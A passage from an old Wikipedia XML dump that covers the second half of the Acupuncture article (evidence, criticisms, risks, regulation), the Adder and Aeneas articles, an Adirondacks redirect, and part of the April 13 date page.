::* Acute duodenal ulcer (without complications)
::* Acute and chronic colitis
::* Acute bacillary dysentery
::* Constipation
::* Diarrhea
::* Paralytic ileus

:Neurological and Musculo-skeletal Disorders
::* Headache and migraine
::* Trigeminal neuralgia
::* Facial palsy (early stage, i.e., within three to six months)
::* Pareses following a stroke
::* Peripheral neuropathies
::* Sequelae of poliomyelitis (early stage, i.e., within six months)
::* Meniere's disease
::* Neurogenic bladder dysfunction
::* Nocturnal enuresis
::* Intercosral neuralgia
::* Cervicobrachial syndrome
::* &quot;Frozen shoulder,&quot;&quot;tennis elbow&quot;
::* Sciatica
::* Low back pain
::* Osteoarthritis

In [[1997]], the [[National Institutes of Health|NIH]] issued a [[Consensus (medical)|consensus statement]] on acupuncture that concluded that
:there is sufficient evidence of acupuncture's value to expand its use into conventional medicine and to encourage further studies of its physiology and clinical value[http://consensus.nih.gov/1997/1997Acupuncture107html.htm].

The NIH consensus statement noted that
: the data in support of acupuncture are as strong as those for many accepted Western medical therapies
and added that
:the incidence of adverse effects is substantially lower than that of many [[medication|drug]]s or other accepted medical procedures used for the same condition. For example, [[musculoskeletal]] conditions, such as [[fibromyalgia]], [[myofascial]] pain, and [[tennis elbow]]... are conditions for which acupuncture may be beneficial. These painful conditions are often treated with, among other things, [[Non-Steroidal Anti-Inflammatory drug|anti-inflammatory medication]]s (aspirin, ibuprofen, etc.) or with [[steroid]] injections. Both medical interventions have a potential for deleterious side effects but are still widely used and are considered acceptable treatments.
Further,
: there is clear evidence that needle acupuncture is efficacious for adult postoperative and [[chemotherapy]] nausea and vomiting and probably for the nausea of pregnancy... There is reasonable evidence of efficacy for postoperative dental pain... reasonable studies (although sometimes only single studies) showing relief of pain with acupuncture on diverse pain conditions such as menstrual cramps, tennis elbow, and fibromyalgia...
However,
: acupuncture does not demonstrate efficacy for cessation of smoking and may not be efficacious for some other conditions.

In [[1999]], clinical researchers reported that inserting the fine needles into specific body points triggers the production of [[endorphin]]s [http://www.abc.net.au/science/news/stories/s27924.htm].

In 2005, researchers at [[Hull York Medical School]] reported the effect of acupuncture on perception of pain, noting that acupuncture led to a decrease in activity of part of the [[brain]]'s [[limbic system]] that is responsible for the body's awareness of pain. [http://news.independent.co.uk/world/science_technology/article340079.ece]

The NIH consensus statement summarizes:
:Acupuncture as a therapeutic intervention is widely practiced in the United States. While there have been many studies of its potential usefulness, many of these studies provide equivocal results because of design, sample size, and other factors. The issue is further complicated by inherent difficulties in the use of appropriate controls, such as placebos and sham acupuncture groups. However, promising results have emerged, for example, showing efficacy of acupuncture in adult postoperative and chemotherapy nausea and vomiting and in postoperative dental pain. There are other situations such as addiction, stroke rehabilitation, headache, menstrual cramps, tennis elbow, fibromyalgia, myofascial pain, osteoarthritis, low back pain, carpal tunnel syndrome, and asthma, in which acupuncture may be useful as an adjunct treatment or an acceptable alternative or be included in a comprehensive management program. Further research is likely to uncover additional areas where acupuncture interventions will be useful.
* [http://nccam.nih.gov/health/acupuncture/ NCCAM research summaries on acupuncture]

==Criticisms==
One of the major criticisms of studies which purport to find acupuncture is anything more than a placebo is that most such studies are not properly conducted.  They are not double blinded and are not randomised.  However, since acupuncture is a procedure and not a pill, it is difficult if not impossible to design studies in which the person providing treatment is blinded as to the treatment being given.  The same problem arises in double-blinding procedures used in biomedicine, including virtually all surgical procedures, dentistry, physical therapy, etc.

The [[Cochrane Collaboration]] reports [http://www.cochrane.org/cochrane/revabstr/ab003527.htm] &quot;(t)here is insufficient evidence to either support or refute the use of acupuncture (either needle or laser) in the treatment of lateral elbow pain.&quot;  Oxford University reported [http://www.jr2.ox.ac.uk/bandolier/booth/alternat/AT008.html] &quot;There were no high quality trials of acupuncture for stroke that showed that it was beneficial.&quot;  Using stricter criteria (e.g., double-blinding) than those used in formulating the NIH consensus statement, the [[Cochrane Collaboration]] evaluated studies on acupuncture's efficacy in treating a number of conditions, usually but not always finding evidence to be lacking or inconclusive [http://sun21.imbi.uni-freiburg.de/cc_bin/mno?q=acupuncture&amp;ul=http%3A%2F%2Fwww.cochrane.org%2F&amp;m=all].

For the following conditions, the [[Cochrane Collaboration]] reports there is insufficient evidence that acupuncture is beneficial:

[http://www.cochrane.org/Cochrane/revabstr/AB000009.htm giving up smoking]

[http://www.cochrane.org/reviews/en/ab000008.html chronic asthma]

[http://www.cochrane.org/cochrane/revabstr/AB002914.htm bell's palsy]

[http://www.cochrane.org/reviews/en/ab005319.html shoulder pain]

[http://www.cochrane.org/reviews/en/ab003317.html acute stroke]

[http://www.cochrane.org/reviews/en/ab003788.html rheumatoid arthritis]

[http://www.cochrane.org/reviews/en/ab004046.html depression]

[http://www.cochrane.org/reviews/en/ab001351.html low back pain]

[http://www.cochrane.org/reviews/en/ab001218.html ideopathic headache](although the review recommended more research be done)

[http://www.cochrane.org/reviews/en/ab002962.html induction of labour]

However the Cochrane Collaboration reported some cases where acupuncture might be better than a placebo. For example: [http://www.cochrane.org/reviews/en/ab003281.html &quot;P6 acupoint stimulation seems to reduce the risk of nausea but not vomiting after surgery.&quot;]

==Potential risks==
Some forms of acupuncture can be [[Invasive (medical)|invasive]], and therefore not without risk, although injuries are rare among patients treated by trained practitioners.  

[[Hematoma]] may result from accidental puncture of any [[circulatory]] structure.  [[Nerve]] injury can result from the accidental puncture of any nerve.  [[Brain damage]] or [[stroke]] is possible with very deep needling at the base of the skull.  Also rare but possible is [[pneumothorax]] from deep needling into the [[lung]], and [[kidney]] damage from deep needling in the low back.  Needling over an occult sternal foramen (an undetectable hole in the breastbone which can occur in up to 10% of people) may result in a potentially fatal haemopericardium.  

Certain acupuncture points have been shown to stimulate the production of adrenocorticotropic hormone (ACTH) and oxytocin; these points are contraindicated for use on pregnant women to avoid inducing abortion or harming the fetus.

Needles that are not properly sterilized can transfer diseases such as [[HIV]] and [[hepatitis]]. 

Sometimes, when treating pain or using acupuncture as an anesthetic, a mild electrical current is applied to the needles. This stimulates the nerve cells in the area of the needles so that they become depleted of the chemicals needed to transmit signals. Prolonged stimulation of nerve cells in this way can cause irreversible damage.

Severe injury from acupuncture is extremely rare, but not unheard-of.  

The NIH consensus panel made the following statement about the risks associated with acupuncture: “Adverse side effects of acupuncture are extremely low and often lower than conventional treatments.  In a UK study of almost 2000 practitioners covering over 34,000 treatments, there were no serious adverse events and only 43 minor adverse events [http://www.medical-acupuncture.co.uk/journal/2001(2)/093.shtml].

Most acupuncturists in the USA use sterile one-time-use needles. Some still use reusable needles and an autoclave but this practice is declining due to its cost, time and the possibility of failure in sterilizing the needles.

==Acupuncture accreditation and controls==
In many countries anyone can call himself an acupuncturist, there are no legal requirements with regard to training and education, nor are licensing boards regulated in any way, making it very hard to assess the actual value of licenses and training of acupuncturists. 

In the USA the [http://www.nccaom.org/aboutus.htm National Certification Commission for Acupuncture and Oriental Medicine] tests practitioners to ensure they are knowledgeable about Chinese medicine. Many states require this test for licensing, but each state has its own laws and requirements.

The U.S. [[Food and Drug Administration]] (FDA) approved acupuncture needles for use by licensed practitioners in 1996. The FDA requires that sterile, nontoxic needles be used and that they be labeled for single use by qualified practitioners only.[http://nccam.nih.gov/health/acupuncture/#safe]

In the United Kingdom, British Acupuncture Council (BAcC) members observe the Code of Safe Practice which lays down stringent standards of hygiene and sterilisation for other equipment - members use single-use pre-sterilised disposable needles, which are permanently withdrawn from service after being used in treatment.  Similar standards apply in most jurisdictions in the United States and Australia.

==See also==
* [[Acupressure]]
* [[Acupoint therapy]]
* [[Chin na]]
* [[Chinese martial arts]]
* [[Electroacupuncture]]
* [[Intramuscular Stimulation]]
* [[Qi]]
* [[Qigong]]
* [[T'ai Chi Ch'uan]]
* [[Taoism]]

==External links==
* [http://www.acupuncture.com.au Acupuncture news, information, education, research and discussion] - A regularly updated Acupuncture website based in Australia.
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=PubMed&amp;term=acupuncture&amp;submit=y&amp;cmd=search Search for “acupuncture” on PubMed] - US National Library of Medicine search engine with thousands of scientific articles on acupuncture
* [http://forums.acupuncture.net.au/index.php Lively discussions about the issues facing Acupuncturists today] - Acupuncture Network Australasia (ANA) is a dynamic non profit organisation set up to promote and support Acupuncture and Traditional Chinese Medicine (TCM) in Australia, New Zealand and the South East Asia.
* [http://www.healthdiaries.com/news/alternative/archives/acupuncture/index.html Acupuncture News]
* [http://www.info-shanghai.com/en/Article/ShowArticle.asp?ArticleID=536]Topish Acupuncture and History on Traditional Chinese Medicine
* [http://odp.od.nih.gov/consensus/cons/107/107_statement.htm NIH 1997 Consensus Statement on Acupuncture]
* [http://www.who.int/medicines/library/trm/acupuncture/acupuncture_trials.pdf  Acupuncture: Review And Analysis Of Reports On Controlled Clinical Trials, World Health Organization, 2002]
* [http://5element.com.au/ Five Element Acupuncture Information Site]  A site devoted to the 5 Element Style of Acupuncture
* [http://chinese-school.netfirms.com/acupuncture-whatis.html Acupuncture, The Facts.] - An article.
* [http://www.rotten.com/library/medicine/acupuncture/ Rotten Library] Article on Acupuncture
* [http://www.itmonline.org/arts/acuintro.htm How acupuncture works explained]
* [http://dmoz.org/Health/Alternative/Acupuncture_and_Chinese_Medicine Open Directory: Acupuncture and Chinese Medicine.] - A collection of links, mostly to pro-acupuncture sites.
* [http://www.spine-health.com/topics/conserv/acu/acupuncture01.html Acupuncture: an ancient treatment for a current problem] - An article discussing acupuncture as a treatment for back and neck pain
* [http://www.acumedico.com Acumedico forum, articles and discussion] - An Israeli acupuncture site.
* [http://www.skepdic.com/acupunc.html The Skeptics dictionary on acupuncture]
* [http://www.straightdope.com/columns/000324.html The Straight Dope on Acupuncture] - A critical site
* [http://www.acuwatch.org/hx/fdac1973.shtml Acupuncture past and present (1973)]
* [http://www.acuwatch.org/hx/taylor.shtml The uncharted wilderness of acupuncture (1973)]
* [http://www.vet-task-force.com/Acuref1.htm A report from a physician who visited China after Nixon]
*[http://www.acupuncture.com//education/theory/mechanismacu.htm The Mechanism of Acupuncture]
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15510787 Effects of acupuncture on gastroparesis study]
* [http://www.medical-acupuncture.co.uk/ British Medical Acupuncture Society]
* [http://acupuncture-treatment-specialists.com Acupuncture Clinics &amp; Specialists] - Informational resource and nationwide directory of acupuncturists and clinics.
* [http://www.famouschinese.com/jsp/medline/chinese_medicine_medline.html Chinese medicine, Chinese Herbal Medicine and Acupuncture Medline] Most recent research articles on Chinese medicine, Chinese Herbal Medicine and Acupuncture from Medline/Entrez PubMed
*[http://www.acupuncture.com/testimonials/restonexp.htm New York Times article by James Reston, 1971]

==Bibliography==
* Acupuncture. NIH Consensus Statement Online [[3 November]] - [[5 November]] [1997]] 15(5):1-34.
* Richardson PH, Vincent CA. The evaluation of therapeutic acupuncture: concepts and methods. ''Pain'' 24:1-13, 1986.
* Richardson PH, Vincent CA. Acupuncture for the treatment of pain. ''Pain'' 24:1540, 1986.
* Ter Riet G et al. The effectiveness of acupuncture. ''Huisarts Wet'' 32:170-175, 176-181, 308-312, 1989.
* ''Zhen Jiu Xue''/ Tai-zhong Association of Chinese Medical Doctors, the Publishing Committee on Acupuncture, 1976.  (Chinese characters for all of this to follow.)
* B. Brinkhaus, E. Hahn, C.H. Hempen, J. Hummelsberger, S. Joos, R. Kohnen, R. Nogel, D. Schuppan. (2004). Acupuncture and Chinese Herbal Medicine in the Treatment of Patients with Seasonal Allergic Rhinitis: a randomized-controlled clinical trial. Allergy 2004:59 953-960. 
* B. Brinkhaus, J. Hummelsberger, S. Jena, K. Linde, D. Melchart, A. Streng, S. Wagenpfeil, H.U. Walther, S.N. Willich, C. Witt.  Acupuncture in Patients with Osteoarthritis of the Knee: A Randomised Trial. The Lancet, Vol 366, [[July 9]] [[2005]].
* Edwards, J. Acupuncture and Heart Health. Access, February 2002.
* trans by Wolfe, H.L. Chronic Fatigue Syndrome, Acupuncture and its related modalities. Townsend Letter for Doctors and Patients, August/September 2005. (translation of article from issue 8, 2001 Zhong Guo Zhen Jiu (Chinese Acupuncture and Moxibustion).
* Abusaisha, B.B., Constanzi, J.B., Boulton, A.J.M. Acupuncture for the treatment of chronic painful diabetic neuropathy: a long term study. Diabetes Res Clin Pract 39:115-121, 1998.
* Bosia, I., Deluze, C., Zirbs, A. Electroacupuncture in fibromyalgia: results of a controlled trial. BMJ 1992 [[21 November]]: 305 (6864): 1249-52
* Chen, J.D.Z., Ouyang, H. Review article: therapeutic roles of acupuncture in functional gastrointestinal disorders. Aliment Pharmacol Therapy 2004; 20:831-841.
* Helms, J.M. Acupuncture for the Treatment of Primary Dysmenorrhea. Obstet Gynecology 1987; 69:51-56
* Altshul, Sara. “Incontinence: Finally, Relief That Works.” Prevention December 2005: 33. Academic Search Premier. EBSCO. [[30 January]] [[2006]] &lt;http://search.epnet.com/&gt;.
* Cademartori, Lorraine. “Facing the Point.” Forbes October 2005: 85. Academic Search Premier. EBSCO. [[30 January]] [[2006]] &lt;http://search.epnet.com/&gt;.
* “A Few Commonly Used Acupunture Points.” Net Firms.  [[2 February]] [[2006]] &lt;http://chinese-school.netfirms.com/acupunture-points.html&gt;.
* “History of Acupuncture.” Net Firms.  [[2 February]] [[2006]] &lt;http://chinese-school.netfirms.com/history-of-acupuncture.html&gt;.
* “History of Acupuncture in China.” Acupuncture Care.  [[2 February]] [[2006]] &lt;http://www.acupuncturecare.com/acupunct.htm&gt;.
* Howard, Cori. “An Ancient Helper for Making a Baby.” Maclean’s [[23 January]] [[2006]]: 40. Academic Search Premier. EBSCO. [[30 January]] [[2006]] &lt;http://search.epnet.com/&gt;.
* “Is Acupuncture Safe?” Net Firms.  [[2 February]] [[2006]] &lt;http://chinese-school.netfirms.com/acupuncture-safety.html&gt;.
* “What Is Acupuncture?” Net Firms.  [[2 February]] [[2006]] &lt;http://chinese-school.netfirms.com/acupuncture-whatis.html&gt;.

{{commons|Acupuncture}}

[[Category:Acupuncture]]
[[Category:Alternative medicine]]
[[Category:Manipulative therapy]]
[[Category:Traditional Chinese medicine]]

[[da:Akupunktur]]
[[de:Akupunktur]]
[[eo:Akupunkturo]]
[[es:Acupuntura]]
[[fa:طب سوزنی]]
[[fr:Acupuncture]]
[[he:דיקור סיני]]
[[it:Agopuntura]]
[[ja:鍼]]
[[lt:Akupunktūra]]
[[nl:Acupunctuur]]
[[pl:Akupunktura]]
[[ru:Акупунктура]]
[[pt:Acupuntura]]
[[sv:Akupunktur]]
[[vi:Châm cứu]]
[[zh:针灸]]
[[zh:针灸]]</text>
    </revision>
  </page>
  <page>
    <title>Adder</title>
    <id>1538</id>
    <revision>
      <id>38255880</id>
      <timestamp>2006-02-05T04:07:58Z</timestamp>
      <contributor>
        <username>Joshbaumgartner</username>
        <id>124878</id>
      </contributor>
      <text xml:space="preserve">:''This page refers to the type of snake.  For an electronic adder, see [[Adder (electronics)]]; for the Russian air-to-air missile that goes by the [[NATO reporting name]] &quot;AA-12 Adder,&quot; see [[Vympel R-77]].''

'''Adder''' is another name for the [[viper]]. Most snakes called '''adders''' belong to the family Viperidae, more precisely to subfamily viperinae (by contrast to [[pit vipers]]). An exception is the Australian [[Death adder]], which despite its name is not a viperid at all, but rather a member of the cobra family, Elapidae.
{|
|-
! align=left | Common Name&amp;nbsp;&amp;nbsp;
&lt;th align=left&gt;Technical Name
! align=left | Geographic Range
|-
| [[Crossed Viper|European Adder]] or Crossed Viper||''Vipera berus''
|Europe and Asia
|-
| [[Death Adder]] || ''Acanthophis antarcticus''
| Australia, New Guinea
|-
| [[Dwarf Sand Adder]] || ''Bitis peringueyi''     
| Namibia, Angola
|-
| [[Horned Adder]] || ''Bitis caudalis''
| South Africa, Zimbabwe, Angola, Namibia
|-
| [[Many-Horned Adder]] || ''Bitis cornuta cornuta''
| Namibia, South Africa
|-
| [[Namaqua Dwarf Adder]]&amp;nbsp; || ''Bitis schneideri''  
| SW South Africa
|-
| [[Mountain Adder]] || ''Bitis atropos atropos''  
| Zimbabwe, South Africa
|-
| [[Puff Adder]] || ''Bitis arietans arietans''
| Africa, Yemen
|-
| [[Rhombic Night Adder]] || ''Causus rhombeatus''   
| Africa
|}

''[[Etymology]]'': The word was ''nædre'' in [[Old English]], which developed into ''nadder'' or ''naddre''; in the 14th century ''a nadder'' was, like ''a napron'', reinterpreted as ''an adder''. It appears with the generic meaning of [[snake|serpent]] in the older forms of many Germanic languages, including [[Old High German]] ''natra'' and [[Gothic language|Gothic]] ''nadrs''. It is thus used in the Old English version of the [[Christianity|Christian]] [[Scriptures]] for the devil, the ''serpent'' of [[Genesis]]. The Old English word ''nædre'' is assumed to derive in turn from the [[Old Norse]] word [[eitr]], synonymous with [[snake poison]].

==References==
*{{1911}}

[[Category:Vipers]]</text>
    </revision>
  </page>
  <page>
    <title>Adirondacks</title>
    <id>1539</id>
    <revision>
      <id>15900007</id>
      <timestamp>2002-09-13T02:29:50Z</timestamp>
      <contributor>
        <username>Dachshund</username>
        <id>482</id>
      </contributor>
      <comment>-&gt;Adirondack Mountains</comment>
      <text xml:space="preserve">#REDIRECT [[Adirondack Mountains]]</text>
    </revision>
  </page>
  <page>
    <title>Aeneas</title>
    <id>1540</id>
    <revision>
      <id>41834762</id>
      <timestamp>2006-03-02T01:22:02Z</timestamp>
      <contributor>
        <ip>216.100.89.65</ip>
      </contributor>
      <comment>/* Legend */</comment>
      <text xml:space="preserve">: ''This article is about the Trojan warrior.  For the sportsman, see [[Aeneas Williams]].''

[[Image:BarocciAeneas.jpg|thumb|right|350px|''Aeneas flees burning Troy'', [[Federico Barocci]], [[1598]].]] 

'''Aeneas''' ([[Greek language|Greek]]: Αινείας, ''Aineías'') was a [[Troy|Trojan]] hero, the son of prince [[Anchises]] and the goddess [[Aphrodite]] ([[Venus (mythology)|Venus]] in Roman sources). He was also the cousin of King [[Priam]] of Troy. The journey of Aeneas from Troy, which led to the founding of the city that would one day become [[Rome]], is recounted in [[Virgil]]'s ''[[Aeneid]]''. He is considered an  important figure in [[Greece|Greek]] and [[Rome|Roman]] legend and history. Aeneas is a character in [[Homer]]'s ''[[Iliad]]'' and [[Shakespeare]]'s ''[[Troilus and Cressida]]''.

== Legend ==
In the ''Iliad'', Aeneas is the leader of the [[Dardan]]s (allies of the Trojans), and a principal lieutenant of [[Hector]], son of the Trojan king [[Priam]]. In the poem, Aeneas's mother [[Aphrodite]] frequently comes to his aid on the battlefield: he is also a favorite of [[Apollo]]. Even [[Poseidon]], who normally favors the Greeks, comes to Aeneas's rescue when the latter falls under the assault of [[Achilles]], noting that Aeneas, though from a junior branch of the royal family, is destined to become king of the Trojan people.

When Troy was [[looting|sacked]] by the Greeks, Aeneas gathered a group, collectively known as the [[Aeneads]], traveled to [[Italy]] and became a progenitor of the [[Roman Kingdom|Romans]]. The Aeneads included his trumpeter [[Misenus]], his father [[Anchises]], his friends [[Achates]], [[Sergestus]] and [[Acmon]], the healer [[Iapyx]], his son [[Ascanius]], and their guide [[Mimas]]. He carried with him the [[Lares]] and [[Penates]], the statues of the household gods of Troy, and transplanted them to [[Italy]]. 

[[Image:Pierre-Narcisse Guérin 001.jpg|thumb|left|200px|Aeneas tells Dido about the fall of Troy, by Pierre-Narcisse Guérin.]]

During his journey, Aeneas and his fleet made landfall at [[Carthage]]. It is at this point that the poem of the ''Aeneid'' begins. Aeneas had a brief affair with the [[Carthaginian]] queen Elissa, also known as [[Dido]], who proposed that the Trojans settle in her land and that she and Aeneas reign jointly over their peoples. However, the messenger god [[Mercury (mythology)|Mercury]] was sent by [[Jupiter]] and Venus to remind Aeneas of his journey and his purpose, thus compelling him to leave secretly and continue on his way. When Dido learned of this, she ordered a funeral pyre to be constructed for herself; and standing on it, she uttered a famous curse that forever would pit Carthage against the Trojans. She then committed suicide by stabbing herself in the chest. When Aeneas later traveled to [[Hades]], he called to her ghost but she neither spoke or acknowledged him.

The company stopped on the island of [[Sicily]] during the course of their journey. There Aeneas was welcomed by [[Acestes]], king of the region and son of the river [[Crinisus]] by a [[Dardania]]n woman. When the ship left, [[Achaemenides]], one of [[Odysseus]]' crew who had been left behind, traveled with them.  

Soon after arriving in Italy, Aeneas made war against the city of [[Falerii]]. [[Latinus]], king of the [[Latin]]s, welcomed Aeneas's army of exiled [[Trojan War|Trojans]] and let them reorganize their life in [[Latium]]. His daughter [[Lavinia]] had been promised to [[Turnus]], king of the [[Rutuli]], but Latinus received a prophecy that Lavinia would be betrothed to one from another land &amp;mdash; namely, Aeneas. Latinus heeded the prophecy, and Turnus consequently declared war on Aeneas at the urging of [[Juno_(mythology)|Juno]], who was aligned with King [[Tarchon]] of [[Etruscan civilization|the Etruscans]] and Queen [[Amata]] of the [[Latins]]. Aeneas' forces prevailed, and Turnus was killed.  Aeneas founded the of city [[Lavinium]], named after his wife. He later welcomed Dido's sister, [[Anna Perenna]], who then committed suicide after learning of Lavinia's jealousy. 
 
After his death, his mother, [[Aphrodite]] asked [[Zeus]] to make her son immortal. [[Zeus]] agreed and the river god [[Numicius]] cleansed Aeneas of all his mortal parts and [[Aphrodite]] anointed him with Ambrosia and Necar, making him a god. Aeneas was recognized as the god [[Indiges]]. Inspired by the work of [[James Frazer]], some have posited that Aeneas was originally a [[life-death-rebirth]] deity.

== Family and legendary descendants ==
Aeneas had an extensive [[Aeneas's family tree|family tree]]. Aeneas' [[wet-nurse]] was named [[Caieta]]. He was the father of [[Ascanius]] with [[Creusa]], and of [[Silvius]] with Lavinia. [[Ascanius]], the son of Aeneas, also known as [[Iulus]] (or Julius), founded [[Alba Longa]] and was the first in a long series of kings.

According to the mythology outlined by Virgil in the ''Aeneid,'' [[Romulus and Remus]] were both descendants of Aeneas through their mother, and thus Aeneas was responsible for founding the Roman people. Some early sources call him their father or grandfather [http://www.4literature.net/Plutarch/Romulus/], but, considering the commonly accepted dates of the fall of Troy ([[1184 BC]]) and the founding of [[Rome]] ([[753 BC]]), this seems unlikely.

The Julian family ([[Gens Julia]]) of Rome, whose most famous member was [[Julius Caesar]], traced their lineage to Aeneas's son Ascanius and, in turn, to the goddess Venus.

The legendary [[King of the Britons|kings of Britain]] also trace their family through a grandson of Aeneas, [[Brutus of Britain|Brutus]].

See:[[list of the descendants of Aeneas|list of direct descendants]].

==Classical sources==
{{Commonscat|Aeneas}}
* [[Homer]], ''[[Iliad]]'' II, 819-21; V, 217-575; XIII, 455-544; XX, 75-352; 
* [[Apollodorus]], ''[[Bibliotheke]]'' III, xii, 2;
* [[Apollodorus]], ''[[Epitome]]'' III, 32-IV, 2; V, 21;
* [[Virgil]], ''[[Aeneid]];'' 
* [[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' XIV, 581-608;
* [[Ovid]], ''[[Heroides]],'' VII.

{{Roman myth (mortal)}}

[[Category: Trojans]]
[[Category:People who fought in the Trojan War]]
[[Category:Roman mythology]]

[[de:Aeneas]]
[[et:Aineias]]
[[es:Eneas]]
[[eo:Eneo]]
[[fr:Énée]]
[[ko:아이네아스]]
[[it:Enea]]
[[he:איניאס]]
[[la:Aeneas]]
[[lt:Enėjas]]
[[li:Aeneas]]
[[nl:Aeneas]]
[[ja:アイネイアス]]
[[pl:Eneasz (mitologia)]]
[[pt:Enéas]]
[[ru:Эней]]
[[fi:Aineias]]
[[sv:Aeneas]]
[[tl:Aineías]]
[[zh:亞尼斯]]</text>
    </revision>
  </page>
  <page>
    <title>April 13</title>
    <id>1541</id>
    <revision>
      <id>41867404</id>
      <timestamp>2006-03-02T06:14:44Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>formatting</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=13}}
|}

'''13&amp;nbsp;April''' is the 103rd [[day]] of the year in the [[Gregorian calendar]] (104th in [[leap year]]s). There are 262 days remaining. It is also the [[Ides]] of [[April]].
==Events==
*[[1055]] - [[Pope Victor II|Victor II]] is consecrated [[pope]]
*[[1111]] - [[Henry V, Holy Roman Emperor|Henry V]] is crowned [[Holy Roman Emperor]]
*[[1180]] - [[Frederick I, Holy Roman Emperor|Frederick Barbarossa]] issues the [[Gelnhausen Charter]]
*[[1204]] - The [[Fourth Crusade]] sacks [[Constantinople]]
*[[1598]] - [[Henry IV of France]] issues the [[Edict of Nantes]], allowing [[freedom of religion]] to the [[Huguenot]]s
*[[1742]] - The world premiere of George Frideric Handel's oratorio Messiah in Dublin, Ireland.
*[[1829]] - The [[British Parliament]] grants [[freedom of religion]] to [[Roman Catholicism|Roman Catholics]]
*[[1849]] - [[Hungary]] becomes a republic
*[[1861]] - [[American Civil War]]: [[Fort Sumter]] surrenders
*[[1873]] - [[Colfax Massacre]]
*[[1883]] - [[Alferd Packer]] is convicted of [[murder]]
*[[1902]] - [[James C. Penney]] opens his first store in [[Kemmerer, Wyoming]]
*[[1919]] - The Establishment of the [[Provisional Government of the Republic of Korea]]
*[[1919]] - [[Amritsar massacre]]: [[United Kingdom|British]] and [[Gurkha]] troops [[massacre]] at least 379 unarmed demonstrators in [[Amritsar]], [[India]]
*[[1921]] - Foundation of the [[Spanish Communist Workers' Party (1921)|Spanish Communist Workers' Party]].
*[[1939]] - In [[India]], the [[Hindustani Lal Sena]] (Indian Red Army) is formed and vows to engage in armed struggle against the [[UK|British]].
*[[1941]] - Pact of [[neutrality]] between the [[Soviet Union|USSR]] and [[Japan]] is signed
*[[1943]] - [[World War II]]: The discovery of a [[mass grave]] of [[Poland|Polish]] [[prisoner of war|prisoners-of-war]] [[execution (legal)| executed]] by [[Soviet Union|Soviet]] forces in the [[Katyn Massacre|Katy&amp;#324; Forest Massacre]] was announced in [[Germany]], driving a wedge between the Western [[Allies]], the [[Polish government in exile|Polish government-in-exile]] in [[London]], and the Soviet Union.
*[[1943]] - The [[Jefferson Memorial]] is dedicated in [[Washington, DC]], on the 200th anniversary of [[Thomas Jefferson]]'s birth.
*[[1945]] - German troops massacre more than 1000 political and military prisoners in [[Gardelegen (war crime)|Gardelegen]] Germany.  The atrocity is discovered two days later by American forces.
*[[1970]] - The [[oxygen]] tank aboard ''[[Apollo 13]]'' explodes, putting the crew into deadly peril.  The explosion occurred on April 14th in several time zones. 
*[[1972]] - The [[Universal Postal Union]] decides to recognize the [[People's Republic of China]] as the only legitimate Chinese representative, effectively expelling the [[Republic of China]] administering [[Taiwan]].
*[[1974]] - [[Western Union]] (in cooperation with [[NASA]] and [[Hughes Aircraft]]) launches the [[United States of America|USA]]'s first commercial [[Geosynchronous satellite|geosynchronous]] [[communications satellite]], [[Westar 1]].
*[[1975]] - An attack by [[Phalangist]]s on a [[Palestinian]] bus in Ain El Remmeneh, [[Lebanon]] marks the beginning of a 15 year civil war.
*[[1983]] - [[Harold Washington]] is elected as the first African-American mayor in [[Chicago, Illinois|Chicago]]'s history
*[[1984]] - [[Pete Rose]] becomes the first player in [[National League]] history to collect 4,000 hits
*[[1985]] - [[Enver Hoxha]] is succeeded by [[Ramiz Alia]] as the leader of [[Albania]]
*[[1986]] - [[Jack Nicklaus]] wins his sixth [[The Masters Tournament|Masters Tournament]]
*[[1987]] - [[Portugal]] and [[People's Republic of China|China]] sign an agreement in which [[Macau]] would be returned to China in [[1999]]
*[[1990]] - The [[Soviet Union]] admits to committing the [[Katyn Massacre]]
*[[1993]] - [[Baseball]]: [[Lee Smith (baseball player)|Lee Smith]] passes [[Jeff Reardon]] for first on the all-time [[save (sport)|save]]s list with his 358th save in a 9-7 win over the [[Los Angeles Dodgers]]
*[[1997]] - [[Tiger Woods]] becomes the youngest [[golf]]er to win golf's [[The Masters Tournament|Masters Tournament]]
*[[1998]] - [[WWE]] [[Monday Night Raw]] overtakes [[WCW Monday Nitro]] in the ratings for the first time in nearly two years, thanks to a [[Steve Austin]] vs [[Vince McMahon]] main event. This started a boost for WWE and decline for WCW, culminating in the WWE takeover of WCW in 2001.
*[[2000]] - [[Tazz]] wins ECW world title, first ever match between a [[WCW]] contracted wrestler and a [[WWE]] contracted wrestler. 
*[[2003]] - The body of [[Laci Peterson]] is found in [[California]].
*[[2003]] - [[Mike Weir]] becomes first Canadian and first [[leftie]] to win the golf [[The Masters Tournament|Masters Tournament]]

==Births==
*[[1506]] - [[Peter Faber]], French Jesuit theologian (d. [[1546]])
*[[1519]] - [[Catherine de Medici]], queen of [[Henry II of France]] (d. [[1589]])
*[[1570]] - [[Guy Fawkes]], English conspirator (d. [[1606]])
*[[1584]] - [[Albert VI of Bavaria]] (d. [[1666]])
*[[1593]] - [[Thomas Wentworth, 1st Earl of Strafford]], English statesman (d. [[1641]])
*[[1618]] - [[Roger de Rabutin, Comte de Bussy]], French writer (d. [[1693]])
*[[1648]] - [[Jeanne Marie Bouvier de la Motte Guyon]], French        (d. [[1717]])
*[[1713]] - [[Frederick North, 2nd Earl of Guilford|Frederick (Lord) North]], [[Prime Minister of the United Kingdom]] (d. [[1792]])
*[[1715]] - [[John Hanson]], President of the United States in Congress Assembled (d. [[1783]])
*[[1729]] - [[Thomas Percy (bishop)|Thomas Percy]], Bishop of Dromore and magazine editor (d. [[1811]])
*[[1735]] - [[Isaac Low]], New York delegate to the Continental Congress (d. [[1791]])
*[[1743]] - [[Thomas Jefferson]], 3rd [[President of the United States]] (d. [[1826]])
*[[1747]] - [[Louis Philip II, Duke of Orléans]] (d. [[1793]])
*[[1764]] - [[Laurent, Marquis de Gouvion Saint-Cyr]], French marshal (d. [[1830]])
*[[1769]] - [[Thomas Lawrence]], English painter (d. [[1830]])
*[[1771]] - [[Richard Trevithick]], English engineer and inventor (d. [[1833]])
*[[1780]] - [[Alexander Mitchell]], Irish engineer (d. [[1868]])
